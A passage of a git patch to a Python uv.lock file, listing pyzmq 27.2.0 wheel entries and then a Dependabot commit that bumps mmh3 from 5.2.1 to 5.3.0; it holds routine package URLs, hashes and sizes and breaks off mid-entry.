"https://files.pythonhosted.org/packages/38/de/c9d653d686ec686bac6ae5f953c784ffc4d2e4a33f9c20d0326aff549ca8/pyzmq-27.2.0-cp310-cp310-macosx_10_15_universal2.whl", hash = "sha256:480dba27b145373b5e103890f17969d891bc9e86746d6b8b29dd70b0d4addc62", size = 1458528, upload-time = "2026-08-20T19:06:11.455Z" }, + { url = "https://files.pythonhosted.org/packages/13/3a/e3ae8e56fdb87cefbef655dc1d808d5ac76eacf40af850c5d78fd81a7faf/pyzmq-27.2.0-cp310-cp310-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:722f0a6940be1a483c81029a271d950e04dc2ff113a42e21b3d2b7a0d8e59638", size = 985810, upload-time = "2026-08-20T19:06:13.409Z" }, + { url = "https://files.pythonhosted.org/packages/03/ee/0ace0abf6315f3f481388826f1e9218802d9b5bb4a01bae5ce42018c3b4e/pyzmq-27.2.0-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3ee556ed1cf836f96de9d5e545563116426d4a94f21b8041fdc79408eff18ebb", size = 713840, upload-time = "2026-08-20T19:06:14.85Z" }, + { url = "https://files.pythonhosted.org/packages/3b/fd/aee8c87f4854a012e232a6557b1167b6cd207506f59f378954b2d8bb6ed1/pyzmq-27.2.0-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d64da42cae09e6b0c61368b4cc8ca80f23ce3af17584d08053f3dc957433d5ed", size = 888214, upload-time = "2026-08-20T19:06:16.295Z" }, + { url = "https://files.pythonhosted.org/packages/94/2f/9be34eab874a26aa91315be0b27f94d43d35dad544cbdf28bcd41691afb2/pyzmq-27.2.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:376981d106598beb70be384f44d8f589832fd0051d184d38d10043da3cc3b080", size = 1705252, upload-time = "2026-08-20T19:06:17.89Z" }, + { url = "https://files.pythonhosted.org/packages/7f/26/362344e337d6b5905d65d0c205e91090b39b3b5a59ec9b84dbe88a5dd60c/pyzmq-27.2.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:40d96cb7a8f6a43aa9617c00215c2b73e1b5e4a1d6cbc9f5860ed7ac682599f0", size = 2075298, upload-time = "2026-08-20T19:06:19.27Z" }, + { url = "https://files.pythonhosted.org/packages/1d/ee/3b76b91e2bb8c5c12f8ae9ee553eb6254ba0bb048c2f0dea7d945420a0d3/pyzmq-27.2.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:4ebc7889b31bc11c72e9f17ba3ebb0a8b0911cce413f41b498e55383a94819a3", size = 1926812, upload-time = "2026-08-20T19:06:20.621Z" }, + { url = "https://files.pythonhosted.org/packages/9e/ae/83d0740f125a6ef91d5ed29e560679e4c5beeaa3ab1fc87e5fe1128c296d/pyzmq-27.2.0-cp310-cp310-win32.whl", hash = "sha256:650c6cd7cb39a069e7048261efe66fce8bf2e0052c831a7a099b7a0f2ea860d7", size = 571057, upload-time = "2026-08-20T19:06:22.078Z" }, + { url = "https://files.pythonhosted.org/packages/ce/b3/3e99a7af1c25e84f68c6c7b16c51b664dd51e12d0bc3d252a48d298e9a08/pyzmq-27.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:82a09aa67871d4f2fcafd47bf670fb93210b232a7c2d4b8a54676314edf04033", size = 643232, upload-time = "2026-08-20T19:06:23.431Z" }, + { url = "https://files.pythonhosted.org/packages/06/cb/785d002a08e630807141b102fd2740cc11623c366bb4606465450bd12e03/pyzmq-27.2.0-cp310-cp310-win_arm64.whl", hash = "sha256:bad4813f270592cedf56977e31ac1fc374fb0f6f67ea5134a5e37c19cb429a8e", size = 567590, upload-time = "2026-08-20T19:06:24.664Z" }, + { url = "https://files.pythonhosted.org/packages/1d/2e/8897afa4538707d86645f51cc50e66b2b84900edb1be9dc9af2c2fc04e5d/pyzmq-27.2.0-cp311-cp311-macosx_10_15_universal2.whl", hash = "sha256:9216132843d139a123f243c07fe70f7487dce5041093dd77040f9adb5dc91872", size = 1457109, upload-time = "2026-08-20T19:06:26.022Z" }, + { url = "https://files.pythonhosted.org/packages/d1/bc/dbce7bc1654fa25b1e68b9bad9e547906f581ce919c186a88ed951cb794c/pyzmq-27.2.0-cp311-cp311-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:d41ebb260b69329b7d4a2936d44c872c86dd785355b51366c8b14e07ed7e9373", size = 985701, upload-time = "2026-08-20T19:06:27.481Z" }, + { url = "https://files.pythonhosted.org/packages/95/cf/6981738b57c83fef33f356141ad83bf51e92f2f70c9d5767affd1a699f07/pyzmq-27.2.0-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:468139ddb2e494d06e586bd3a6835077e8b3764560c8db552fe685c5867fc24e", size = 714285, upload-time = "2026-08-20T19:06:28.962Z" }, + { url = "https://files.pythonhosted.org/packages/50/b5/13657961a845e29c28a4e7ac4202999ec90b3bba1890a5469ce2ae90359d/pyzmq-27.2.0-cp311-cp311-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:39755dc4a923021bd0677990ffdbc21cff0e1ee1cf07fe3817acea153ef4cb67", size = 888465, upload-time = "2026-08-20T19:06:30.4Z" }, + { url = "https://files.pythonhosted.org/packages/58/5a/ca7ee7a767413d4ba858e93748b95e30b35b8c139849fba94de4433ea2e5/pyzmq-27.2.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:714f8cbd66c7e405338d668f79d2fe83fe923defe348e843be998603cf92eeff", size = 1705731, upload-time = "2026-08-20T19:06:31.819Z" }, + { url = "https://files.pythonhosted.org/packages/0b/8b/083f6184e4eba566c9a3cc9974b1b0fe327b7093788135ba8133edaa67a6/pyzmq-27.2.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:1132805970045adb9f5f05dd57040978286a8e21a5475f2c2ddf1bc983b9a2c7", size = 2074243, upload-time = "2026-08-20T19:06:33.36Z" }, + { url = "https://files.pythonhosted.org/packages/57/f5/249362b664ae725d534c8843214fa9fd7fccd74532a19e24603954a88a7d/pyzmq-27.2.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:b26f2d0493b79ce3c3112c8a12649418915582ba4707b8ed9f44febf2be71f42", size = 1926859, upload-time = "2026-08-20T19:06:34.796Z" }, + { url = "https://files.pythonhosted.org/packages/bf/cc/23c613c15f06d879f13364d14c17e5e4e8304049411e96c1410e6e56c3ea/pyzmq-27.2.0-cp311-cp311-win32.whl", hash = "sha256:44f261eca7dfb9904ea2b56428f59ab693bbe2715c0413a701f17b067ebf877c", size = 570747, upload-time = "2026-08-20T19:06:36.337Z" }, + { url = "https://files.pythonhosted.org/packages/dc/bc/bbbcf89003c93f18e33665c26e3c48d75e3915c3dd22887f3a7aea2c5e26/pyzmq-27.2.0-cp311-cp311-win_amd64.whl", hash = "sha256:8b86e04f55af0f4d8cd8ecf14c0b8b81ebc8fd66fa20126b753514628ecadc7e", size = 644845, upload-time = "2026-08-20T19:06:37.711Z" }, + { url = "https://files.pythonhosted.org/packages/14/c5/4635d0ba2b8493edf6d5541fff0b07fa1d986fdfc29c596a53a21e20f9af/pyzmq-27.2.0-cp311-cp311-win_arm64.whl", hash = "sha256:917d601e9540098f580d2723d0ce6402cdb6f02bc8dc2de74e0dca6e13bffd1b", size = 567495, upload-time = "2026-08-20T19:06:39.246Z" }, + { url = "https://files.pythonhosted.org/packages/57/8a/153532fa53db30e116118164f3af269a1f3966b3e2ba32c89b12fe864bd8/pyzmq-27.2.0-cp312-abi3-macosx_10_15_universal2.whl", hash = "sha256:591c8de5851c5ea372194469fe97587b97c3b641e9a70f31bb3474acbfde0241", size = 1431074, upload-time = "2026-08-20T19:06:40.601Z" }, + { url = "https://files.pythonhosted.org/packages/c8/ef/c08b91248bb90a9efa81fa00ba81b69c157c74d0c5efbb2c319d91babb62/pyzmq-27.2.0-cp312-abi3-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:00e73942ef12cecbc7951c4a9104bb8ffaed742abb13af2da6833d90dd368cef", size = 973915, upload-time = "2026-08-20T19:06:42.037Z" }, + { url = "https://files.pythonhosted.org/packages/b4/78/a3a3a86c2b00fadb92ece1ca4f8f028d62b2ce9ac3526097239ab2d6fba9/pyzmq-27.2.0-cp312-abi3-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1f8079d0521fe94bbb401fe9407578b28f3701627c8be2c9f7e0c5b77dcb0109", size = 697722, upload-time = "2026-08-20T19:06:43.325Z" }, + { url = "https://files.pythonhosted.org/packages/62/2c/d5828306f795e8d34676d266823b74e2101e0ad3760d12083de3e02abbb2/pyzmq-27.2.0-cp312-abi3-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:dea74fd65f1fc5f7fe167916a473ebe6ed6174e5e5d9de11ea6583661be6cf43", size = 872258, upload-time = "2026-08-20T19:06:44.627Z" }, + { url = "https://files.pythonhosted.org/packages/09/52/51253b78fd8739293e283407eeecb14215c02c71b6519af21f6eed8e69cd/pyzmq-27.2.0-cp312-abi3-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:dcc99ca132b667a4ed750afd42db4ea73288f18425a9b2e3c0af095665c491f5", size = 739591, upload-time = "2026-08-20T19:06:46.214Z" }, + { url = "https://files.pythonhosted.org/packages/e6/3e/142c85b67a4c9678629b0cf6d5125b29663d75be69bfaa57a3cac344d780/pyzmq-27.2.0-cp312-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:b8d5f66e4a8246cf77f7b8f7902af64f00553368fa0373c89d99b78f0ad79394", size = 1689031, upload-time = "2026-08-20T19:06:47.612Z" }, + { url = "https://files.pythonhosted.org/packages/0e/ee/0776fb0f98ed1eb74d77240087fef0ab045b6ad15cb09555c6c5134c98ad/pyzmq-27.2.0-cp312-abi3-musllinux_1_2_i686.whl", hash = "sha256:d1526b42a2e725b84ed226f37becedc250c6347594e5ed304e4e9aff68c9aec3", size = 2059547, upload-time = "2026-08-20T19:06:49.064Z" }, + { url = "https://files.pythonhosted.org/packages/aa/0e/ec77f691a4aebe29ab6329f996fb0e0270c876a3016086e3ca6ef733bcae/pyzmq-27.2.0-cp312-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:f707bcf2c1d007d14d70531d4dd7b41060881c73efa845580bf6faaf9ea24d42", size = 1910457, upload-time = "2026-08-20T19:06:50.783Z" }, + { url = "https://files.pythonhosted.org/packages/30/97/1f5530ff4fc271b4597048371d5af972c2baab51be132ba15874e0327a6a/pyzmq-27.2.0-cp312-abi3-win32.whl", hash = "sha256:fdaaa4ea3242f6ad298eb5177eb042aea5c73c30e76d20caee7b15af20d24ec2", size = 563450, upload-time = "2026-08-20T19:06:52.307Z" }, + { url = "https://files.pythonhosted.org/packages/02/8b/b83f7780dad22e0878e4c7bd9158ebd24ed12bc3d5e3a471cd0576f77ded/pyzmq-27.2.0-cp312-abi3-win_amd64.whl", hash = "sha256:2c218c6ab8bc447ba62054b581fd30209689d199c6ecb253f79615ca74a38e12", size = 628633, upload-time = "2026-08-20T19:06:53.809Z" }, + { url = "https://files.pythonhosted.org/packages/52/aa/3918b5ac7f9987bd9c421b065074fd7409ded88f856f2c704a24341877ec/pyzmq-27.2.0-cp312-abi3-win_arm64.whl", hash = "sha256:348d6fd3e4b81ae4580622ea8c2ea60224e84b2ac1b3be4482e6edc7de06e7a3", size = 556006, upload-time = "2026-08-20T19:06:55.242Z" }, + { url = "https://files.pythonhosted.org/packages/83/5e/d0541596b48c5a19f85dcbea83d6673d8e91681cdf853eb194c31fc9766e/pyzmq-27.2.0-cp313-cp313-android_24_arm64_v8a.whl", hash = "sha256:c551b9e2f86dc625fcb1a032c0d68042678caf96a8dd7c28796766b673bd5b52", size = 1127193, upload-time = "2026-08-20T19:06:56.545Z" }, + { url = "https://files.pythonhosted.org/packages/50/9f/8c7411bb283982d46e6d56dca6a095678c87eb0398daead12776d9881ac2/pyzmq-27.2.0-cp313-cp313-android_24_x86_64.whl", hash = "sha256:288cc790da0e3064a14a38ddc56ba169dada8c8af4cb86518db2bcbd380eedbb", size = 1166833, upload-time = "2026-08-20T19:06:58.011Z" }, + { url = "https://files.pythonhosted.org/packages/f9/84/a849161ff88b2de9b991cc8ab332218824741122fdc4fdf222a5b822ac8c/pyzmq-27.2.0-cp314-cp314-android_24_arm64_v8a.whl", hash = "sha256:3d45189c0c3c99f817b7fefff0d32eeef684cf33e1e3c0fc4281515357c54702", size = 1134452, upload-time = "2026-08-20T19:06:59.898Z" }, + { url = "https://files.pythonhosted.org/packages/3c/34/ff4aaff0cfba2a4d7ad1a16ffedc52c6deb89fcf673d455085446b23f215/pyzmq-27.2.0-cp314-cp314-android_24_x86_64.whl", hash = "sha256:d61910b52be5b2cd8b248dbcbe3a1b0275556a7d99fb613fc43323b546e273b8", size = 1167520, upload-time = "2026-08-20T19:07:01.283Z" }, + { url = "https://files.pythonhosted.org/packages/b6/07/42111e9dc1041d78b4443d6eb1b82b027f1a58178dc8a38385effbc72ad5/pyzmq-27.2.0-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:3ab6eb88590e510ab16715c32dbba12000da9bee989fdadd9ee19a234c492eb7", size = 1466289, upload-time = "2026-08-20T19:07:02.738Z" }, + { url = "https://files.pythonhosted.org/packages/4b/b4/def7a478458da78665840564161772e7e938600c32a89f28e8b221b54d2d/pyzmq-27.2.0-cp314-cp314t-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:1ecbdd131b9669f62d3a45afee5527c7ae9f141e4301267f21714c90bd21725f", size = 975868, upload-time = "2026-08-20T19:07:04.155Z" }, + { url = "https://files.pythonhosted.org/packages/38/d5/e3e85f7fea37153097aaff49db9e33093909cc2a7b22c1ac4ebe546600fc/pyzmq-27.2.0-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3146385b94a760236c5eceff468a66a296a716ca98a2e0f9217b1518118466b1", size = 706054, upload-time = "2026-08-20T19:07:05.623Z" }, + { url = "https://files.pythonhosted.org/packages/1c/ef/3b7d9449b223183222bf517245e1e53d5f1ab8c10be8b45f6a301b2f994a/pyzmq-27.2.0-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9846e881620dd62566ca76a53e384c3f37490faf4b9240aebc7498810dfca853", size = 878984, upload-time = "2026-08-20T19:07:07.153Z" }, + { url = "https://files.pythonhosted.org/packages/be/a5/8b49dbd494f6dcfda69dc4cade322a4b02706ef4e3d30cc366d4e369899f/pyzmq-27.2.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:d9527e3dbaef1edaeeb2446fa7379446814a43ade8adc7c4a5ebe69437815ddd", size = 1697489, upload-time = "2026-08-20T19:07:08.945Z" }, + { url = "https://files.pythonhosted.org/packages/da/5a/4bb8280901130c26ea25f0cbb4a6d39d94250860c6b3dbd912f1cf48fca7/pyzmq-27.2.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:56b48fa9d478a3af7254f397697a62f5ad3e1bb677e200b2701f0c290d97e5af", size = 2064236, upload-time = "2026-08-20T19:07:10.384Z" }, + { url = "https://files.pythonhosted.org/packages/de/38/f433af66922554adb2b5f79e897018c8e19a90b9eaeb49c4814f8355ebe4/pyzmq-27.2.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:bf0b6e4ce1bb089751c504c5493d6b0557eabd02dd21b76e9086cf964234b103", size = 1917424, upload-time = "2026-08-20T19:07:11.909Z" }, + { url = "https://files.pythonhosted.org/packages/36/81/ea1c1ae3f801d96ba2c269e056761ebcfe023476e651d3af2a7817962051/pyzmq-27.2.0-cp314-cp314t-win32.whl", hash = "sha256:fba8afcf265c6e9fbe1594cb045d4765c6c9a7d607653a8196067ef23566b843", size = 591103, upload-time = "2026-08-20T19:07:13.451Z" }, + { url = "https://files.pythonhosted.org/packages/8a/04/149a627707e780fa9f2c1ede3590c14fa6b18b5576d15744342622299a50/pyzmq-27.2.0-cp314-cp314t-win_amd64.whl", hash = "sha256:d1bc1d380a91d954ed5fc9f12915dba014eed0978d2de05ee7ca688bdaac144a", size = 670215, upload-time = "2026-08-20T19:07:15.069Z" }, + { url = "https://files.pythonhosted.org/packages/30/ba/f9c3c1536c41ef3dbf765ea04218990e2056e558f98184ecd883767fc501/pyzmq-27.2.0-cp314-cp314t-win_arm64.whl", hash = "sha256:c7cfb75caa83f5153c687e9d2107f64b5ef0ef0d6edd260d3ff920baaaa69101", size = 582252, upload-time = "2026-08-20T19:07:16.582Z" }, + { url = "https://files.pythonhosted.org/packages/8c/26/1a7cd2d8e4e3c27d83a46960e22101b69f527843be140cb3375267aa8ca6/pyzmq-27.2.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:770a37f28ddfbe1d2c40a2e3ce37e5fd10831daa6ae9634105aa8a5d23507b00", size = 875015, upload-time = "2026-08-20T19:07:52.084Z" }, + { url = "https://files.pythonhosted.org/packages/b8/ed/c8daf770ca31eb293bef40f801f05148e0a96ad538d55ec3bceb226c91ec/pyzmq-27.2.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:b398c5fe102b41e1559f7ffdae760aabd5f432d73b047b4ae0eac4e01cb594d2", size = 774400, upload-time = "2026-08-20T19:07:53.596Z" }, + { url = "https://files.pythonhosted.org/packages/64/6f/b958b0785eb15ab7a78913e3df8de705dbf226ce1d0004998fa4872bdd59/pyzmq-27.2.0-pp310-pypy310_pp73-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:0e1af01858d6dc0c09cea57f9cb1ddf4601f04897b6bb1efc3a2038123c87d79", size = 877993, upload-time = "2026-08-20T19:07:55.192Z" }, + { url = "https://files.pythonhosted.org/packages/2d/5a/7a070d0e9911441061402013f0c64e5772ee781704c5dae093e6b051c6f6/pyzmq-27.2.0-pp310-pypy310_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:211350c3ccd4746bc5a85e8fe961bad1f7f2f274f67cf1f785fad7f96f562eea", size = 614493, upload-time = "2026-08-20T19:07:56.77Z" }, + { url = "https://files.pythonhosted.org/packages/b3/28/833485224e1bd8960cbf3539db465ab2bf23b50de885dc4225a637480539/pyzmq-27.2.0-pp310-pypy310_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:dde5e291548ca0f397623b5e523db5c90172b32aa4fd3ba464a79ea31a580b43", size = 780573, upload-time = "2026-08-20T19:07:58.18Z" }, + { url = "https://files.pythonhosted.org/packages/90/8e/52239b9b5fe4f9cf77e272e6a8c548c01ba407d08d3aeeb3220816669ef1/pyzmq-27.2.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:94242bd4de6af7e74665e14a88630bccd615057f6acfaf08a3a432551d604645", size = 553963, upload-time = "2026-08-20T19:08:00.015Z" }, + { url = "https://files.pythonhosted.org/packages/93/22/7187a1f0bf2b8bf8dc6b91762438fb9b472f684f2dc4cb74a24bf8957943/pyzmq-27.2.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:a7c1144dc61777938e932a2c9011b980b89fd8ff3733033b34c44c299187a6e1", size = 875015, upload-time = "2026-08-20T19:08:01.692Z" }, + { url = "https://files.pythonhosted.org/packages/92/71/09b71620ad52bad4eb68b1516978ecaf52ef623c3fa16e0732a03cf3274c/pyzmq-27.2.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:c218b816220d05acf6ab1bafca58926d95cbcc5fec5024724666030466308f0c", size = 774395, upload-time = "2026-08-20T19:08:03.108Z" }, + { url = "https://files.pythonhosted.org/packages/9c/cf/5c8eb9994a14ff5ee5b0cada339421748746c95aee0280c8b656741e8749/pyzmq-27.2.0-pp311-pypy311_pp73-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:ae6ebbc0bfe5a21ce21e32ba567bf73df2d93888109c65acbd42506cf9395759", size = 877994, upload-time = "2026-08-20T19:08:04.724Z" }, + { url = "https://files.pythonhosted.org/packages/97/64/e22094c5555e550b6450ecfcceb6a1205d893d9a18ae27764c8c45acfb16/pyzmq-27.2.0-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:679b5b1dde326a921ea2c9ec1f9ea3115bfe1b4735779bbc6eb0473a0ed93f71", size = 614492, upload-time = "2026-08-20T19:08:06.487Z" }, + { url = "https://files.pythonhosted.org/packages/d2/28/5b1042899caed18278c56d54a502f5254d463afe8aea1acbecc98e053391/pyzmq-27.2.0-pp311-pypy311_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f5c6d8744d10b5e1eadd90a7c58f8546acf6bf680ee463f7e6ada09ad6c9f802", size = 780574, upload-time = "2026-08-20T19:08:07.987Z" }, + { url = "https://files.pythonhosted.org/packages/77/a3/f134603a671c114c6b56eb912bba890f09e2d43b8a28d243be5a5507cf2f/pyzmq-27.2.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:3ee8dd7031d5e23f632e0e7eee67183ca7d2536e0de35dc1e5d69f3471a791e8", size = 553961, upload-time = "2026-08-20T19:08:09.651Z" }, ] [[package]] From ba49607911ff58286f9b14ecb617fe9e872f75d8 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 31 Aug 2026 11:29:34 -0400 Subject: [PATCH 070/256] Bump mmh3 from 5.2.1 to 5.3.0 (#3411) Bumps [mmh3](https://github.com/hajimes/mmh3) from 5.2.1 to 5.3.0. - [Release notes](https://github.com/hajimes/mmh3/releases) - [Changelog](https://github.com/hajimes/mmh3/blob/master/CHANGELOG.md) - [Commits](https://github.com/hajimes/mmh3/compare/v5.2.1...v5.3.0) --- updated-dependencies: - dependency-name: mmh3 dependency-version: 5.3.0 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 220 ++++++++++++++++++++++++++++---------------------------- 1 file changed, 110 insertions(+), 110 deletions(-) diff --git a/uv.lock b/uv.lock index 9786018860..4f40edf321 100644 --- a/uv.lock +++ b/uv.lock @@ -1762,116 +1762,116 @@ wheels = [ [[package]] name = "mmh3" -version = "5.2.1" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/91/1a/edb23803a168f070ded7a3014c6d706f63b90c84ccc024f89d794a3b7a6d/mmh3-5.2.1.tar.gz", hash = "sha256:bbea5b775f0ac84945191fb83f845a6fd9a21a03ea7f2e187defac7e401616ad", size = 33775, upload-time = "2026-03-05T15:55:57.716Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/a6/bb/88ee54afa5644b0f35ab5b435f208394feb963e5bb47c4e404deb625ffa4/mmh3-5.2.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:5d87a3584093e1a89987e3d36d82c98d9621b2cb944e22a420aa1401e096758f", size = 56080, upload-time = "2026-03-05T15:53:40.452Z" }, - { url = "https://files.pythonhosted.org/packages/cc/bf/5404c2fd6ac84819e8ff1b7e34437b37cf55a2b11318894909e7bb88de3f/mmh3-5.2.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:30e4d2084df019880d55f6f7bea35328d9b464ebee090baa372c096dc77556fb", size = 40462, upload-time = "2026-03-05T15:53:41.751Z" }, - { url = "https://files.pythonhosted.org/packages/de/0b/52bffad0b52ae4ea53e222b594bd38c08ecac1fc410323220a7202e43da5/mmh3-5.2.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0bbc17250b10d3466875a40a52520a6bac3c02334ca709207648abd3c223ed5c", size = 40077, upload-time = "2026-03-05T15:53:42.753Z" }, - { url = "https://files.pythonhosted.org/packages/a0/9e/326c93d425b9fa4cbcdc71bc32aaba520db37577d632a24d25d927594eca/mmh3-5.2.1-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:76219cd1eefb9bf4af7856e3ae563d15158efa145c0aab01e9933051a1954045", size = 95302, upload-time = "2026-03-05T15:53:43.867Z" }, - { url = "https://files.pythonhosted.org/packages/c6/b1/e20d5f0d19c4c0f3df213fa7dcfa0942c4fb127d38e11f398ae8ddf6cccc/mmh3-5.2.1-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:fb9d44c25244e11c8be3f12c938ca8ba8404620ef8092245d2093c6ab3df260f", size = 101174, upload-time = "2026-03-05T15:53:45.194Z" }, - { url = "https://files.pythonhosted.org/packages/7f/4a/1a9bb3e33c18b1e1cee2c249a3053c4d4d9c93ecb30738f39a62249a7e86/mmh3-5.2.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2d5d542bf2abd0fd0361e8017d03f7cb5786214ceb4a40eef1539d6585d93386", size = 103979, upload-time = "2026-03-05T15:53:46.334Z" }, - { url = "https://files.pythonhosted.org/packages/ff/8d/dab9ee7545429e7acdd38d23d0104471d31de09a0c695f1b751e0ff34532/mmh3-5.2.1-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:08043f7cb1fb9467c3fbbbaea7896986e7fbc81f4d3fd9289a73d9110ab6207a", size = 110898, upload-time = "2026-03-05T15:53:47.443Z" }, - { url = "https://files.pythonhosted.org/packages/72/08/408f11af7fe9e76b883142bb06536007cc7f237be2a5e9ad4e837716e627/mmh3-5.2.1-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:add7ac388d1e0bf57259afbcf9ed05621a3bf11ce5ee337e7536f1e1aaf056b0", size = 118308, upload-time = "2026-03-05T15:53:49.1Z" }, - { url = "https://files.pythonhosted.org/packages/86/2d/0551be7fe0000736d9ad12ffa1f130d7a0c17b49193d6dc41c82bd9404c6/mmh3-5.2.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:41105377f6282e8297f182e393a79cfffd521dde37ace52b106373bdcd9ca5cb", size = 101671, upload-time = "2026-03-05T15:53:50.317Z" }, - { url = "https://files.pythonhosted.org/packages/44/17/6e4f80c4e6ad590139fa2017c3aeca54e7cc9ef68e08aa142a0c90f40a97/mmh3-5.2.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:3cb61db880ec11e984348227b333259994c2c85caa775eb7875decb3768db890", size = 96682, upload-time = "2026-03-05T15:53:51.48Z" }, - { url = "https://files.pythonhosted.org/packages/ad/a7/b82fccd38c1fa815de72e94ebe9874562964a10e21e6c1bc3b01d3f15a0e/mmh3-5.2.1-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:e8b5378de2b139c3a830f0209c1e91f7705919a4b3e563a10955104f5097a70a", size = 110287, upload-time = "2026-03-05T15:53:52.68Z" }, - { url = "https://files.pythonhosted.org/packages/a8/a1/2644069031c8cec0be46f0346f568a53f42fddd843f03cc890306699c1e2/mmh3-5.2.1-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:e904f2417f0d6f6d514f3f8b836416c360f306ddaee1f84de8eef1e722d212e5", size = 111899, upload-time = "2026-03-05T15:53:53.791Z" }, - { url = "https://files.pythonhosted.org/packages/51/7b/6614f3eb8fb33f931fa7616c6d477247e48ec6c5082b02eeeee998cffa94/mmh3-5.2.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f1fbb0a99125b1287c6d9747f937dc66621426836d1a2d50d05aecfc81911b57", size = 100078, upload-time = "2026-03-05T15:53:55.234Z" }, - { url = "https://files.pythonhosted.org/packages/27/9a/dd4d5a5fb893e64f71b42b69ecae97dd78db35075412488b24036bc5599c/mmh3-5.2.1-cp310-cp310-win32.whl", hash = "sha256:b4cce60d0223074803c9dbe0721ad3fa51dafe7d462fee4b656a1aa01ee07518", size = 40756, upload-time = "2026-03-05T15:53:56.319Z" }, - { url = "https://files.pythonhosted.org/packages/c9/34/0b25889450f8aeffcec840aa73251e853f059c1b72ed1d1c027b956f95f5/mmh3-5.2.1-cp310-cp310-win_amd64.whl", hash = "sha256:6f01f044112d43a20be2f13a11683666d87151542ad627fe41a18b9791d2802f", size = 41519, upload-time = "2026-03-05T15:53:57.41Z" }, - { url = "https://files.pythonhosted.org/packages/fd/31/8fd42e3c526d0bcb1db7f569c0de6729e180860a0495e387a53af33c2043/mmh3-5.2.1-cp310-cp310-win_arm64.whl", hash = "sha256:7501e9be34cb21e72fcfe672aafd0eee65c16ba2afa9dcb5500a587d3a0580f0", size = 39285, upload-time = "2026-03-05T15:53:58.697Z" }, - { url = "https://files.pythonhosted.org/packages/65/d7/3312a59df3c1cdd783f4cf0c4ee8e9decff9c5466937182e4cc7dbbfe6c5/mmh3-5.2.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:dae0f0bd7d30c0ad61b9a504e8e272cb8391eed3f1587edf933f4f6b33437450", size = 56082, upload-time = "2026-03-05T15:53:59.702Z" }, - { url = "https://files.pythonhosted.org/packages/61/96/6f617baa098ca0d2989bfec6d28b5719532cd8d8848782662f5b755f657f/mmh3-5.2.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:9aeaf53eaa075dd63e81512522fd180097312fb2c9f476333309184285c49ce0", size = 40458, upload-time = "2026-03-05T15:54:01.548Z" }, - { url = "https://files.pythonhosted.org/packages/c1/b4/9cd284bd6062d711e13d26c04d4778ab3f690c1c38a4563e3c767ec8802e/mmh3-5.2.1-cp311-cp311-macosx_11_0_arm64.whl", hash = 